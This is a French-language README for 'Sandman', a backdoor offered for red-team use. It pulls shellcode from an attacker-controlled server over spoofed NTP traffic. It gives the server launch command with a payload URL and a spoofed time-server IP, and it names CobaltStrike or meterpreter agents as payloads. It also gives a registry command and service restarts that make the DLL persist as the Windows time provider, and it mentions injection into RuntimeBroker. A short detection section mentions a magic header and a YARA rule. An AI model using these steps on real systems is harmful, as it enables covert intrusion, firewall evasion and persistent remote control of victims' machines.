
Backdoor basée sur NTP pour réseaux durcis, délivrant et exécutant du shellcode arbitraire via du trafic NTP usurpé, avec persistance optionnelle en tant que fournisseur de temps Windows.
Sandman est une porte dérobée conçue pour fonctionner sur des réseaux durcis lors d'engagements d'équipe rouge.
Sandman fonctionne comme un stager et exploite NTP (un protocole de synchronisation de l'heure et de la date) pour obtenir et exécuter un shellcode arbitraire depuis un serveur prédéfini.
NTP étant un protocole souvent négligé par les défenseurs, il bénéficie d'une large accessibilité réseau.

Exécutez sur une machine Windows / *nix :
python3 sandman_server.py "Adaptateur réseau" "URL de la charge utile" "facultatif : ip à usurper"
Adaptateur réseau : L'adaptateur sur lequel le serveur doit écouter (par exemple Ethernet pour Windows, eth0 pour *nix).
URL de la charge utile : L'URL de votre shellcode, cela peut être votre agent (par exemple, CobaltStrike ou meterpreter) ou un autre stager.
IP à usurper : Si vous souhaitez usurper une adresse IP légitime (par exemple, l'adresse IP de time.microsoft.com).
Pour commencer, vous pouvez compiler SandmanBackdoor comme indiqué ci-dessous, car il s'agit d'un seul exécutable C# léger que vous pouvez exécuter via ExecuteAssembly, l'exécuter en tant que fournisseur NTP ou simplement l'exécuter/l'injecter.
Pour l'utiliser, vous devrez suivre des étapes simples :
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\chemin\vers\la.dll"
sc stop w32time
sc start w32time
REMARQUE : Assurez-vous de compiler avec l'option x64 et non avec l'option Any CPU !
Obtenir et exécuter une charge utile arbitraire depuis un serveur contrôlé par l'attaquant.
Peut fonctionner sur des réseaux durcis car NTP est généralement autorisé dans le pare-feu.
Usurpation d'un serveur NTP légitime via l'usurpation d'adresse IP.
Python 3.9
Les dépendances sont spécifiées dans le fichier requirements.
Pour compiler la porte dérobée, j'ai utilisé Visual Studio 2022, mais comme mentionné dans la section d'utilisation, elle peut être compilée avec VS2022 et CSC. Vous pouvez la compiler en utilisant USE_SHELLCODE et le shellcode d'Orca, ou sans USE_SHELLCODE pour utiliser WebClient.
Pour compiler la porte dérobée, j'ai utilisé Visual Studio 2022, vous devrez également installer DllExport (via Nuget ou tout autre moyen) pour la compiler. Vous pouvez la compiler en utilisant USE_SHELLCODE et le shellcode d'Orca, ou sans USE_SHELLCODE pour utiliser WebClient.
Un shellcode est injecté dans RuntimeBroker.
Une communication NTP suspecte commence par un en-tête magique connu.
Règle YARA.
Orca pour le shellcode.
Un grand merci à Tim McGuffin pour l'idée du fournisseur de temps.
Merci à ceux qui ont déjà contribué et j'accepterai volontiers les contributions, faites une pull request et je la réviserai !